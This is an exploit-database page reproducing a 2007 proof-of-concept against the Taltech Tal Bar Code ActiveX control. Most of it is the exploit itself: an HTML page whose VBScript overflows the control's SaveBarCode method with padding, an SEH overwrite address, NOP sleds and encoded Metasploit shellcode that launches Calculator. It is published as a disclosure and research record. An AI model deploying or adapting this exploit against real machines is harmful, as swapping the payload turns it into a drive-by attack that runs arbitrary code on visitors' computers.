header-logo
Suggest Exploit
vendor:
Tal Bar Code ActiveX Control
by:
Umesh Wanve
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Tal Bar Code ActiveX Control
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows 2000 SP4 Server English, Windows 2000 SP4 Professional English
2007

Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit

This exploit targets the Taltech Tal Bar Code ActiveX Control and causes a buffer overflow, allowing an attacker to execute arbitrary code on the vulnerable machine. The exploit opens the Calculator application as a proof of concept. This exploit was written for educational purposes and the author is not responsible for any damage caused.

Mitigation:

Update the Taltech Tal Bar Code ActiveX Control to a non-vulnerable version.
Source

Exploit-DB raw data:

<!--

  ===============================================================================================
                        Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit
                                            By Umesh Wanve 
  ==============================================================================================   
        
  Date : 08-05-2007
 
  Reference: http://www.securityfocus.com/archive/1/467822/30/0/threaded

  Tested on Windows 2000 SP4 Server English
            Windows 2000 SP4 Professional English
 
  Opens Calculator on the Vulnerable machine.
 
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Always thanks to Metasploit and Stroke 

-->

<html>

<title>
 Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit - By Umesh Wanve
</title>

<body>

<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:C917E12F-9757-11D2-85DB-F01851C10000" > </OBJECT>

<script language="vbscript">

targetFile = "C:\Program Files\TAL Bar Code ActiveX Demo\TALBarCd.OCX"
prototype  = "Sub SaveBarCode ( ByVal FileName As String )"
memberName = "SaveBarCode"
progid     = "TALBarCode.TALBarCd"
argCount   = 1

<!-- win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  -->
shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")


nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")                

pointer_to_seh=unescape("%eb%06%90%90")

<!-- 0x750211a9  -- pop pop ret from ws2help.dll from windows2000 SP4  -->

seh_handler=unescape("%a9%11%02%75")   

                                

arg1=String(2488,"A")

arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop


target.SaveBarCode arg1


</script>
</body>
</html>

# milw0rm.com [2007-05-08]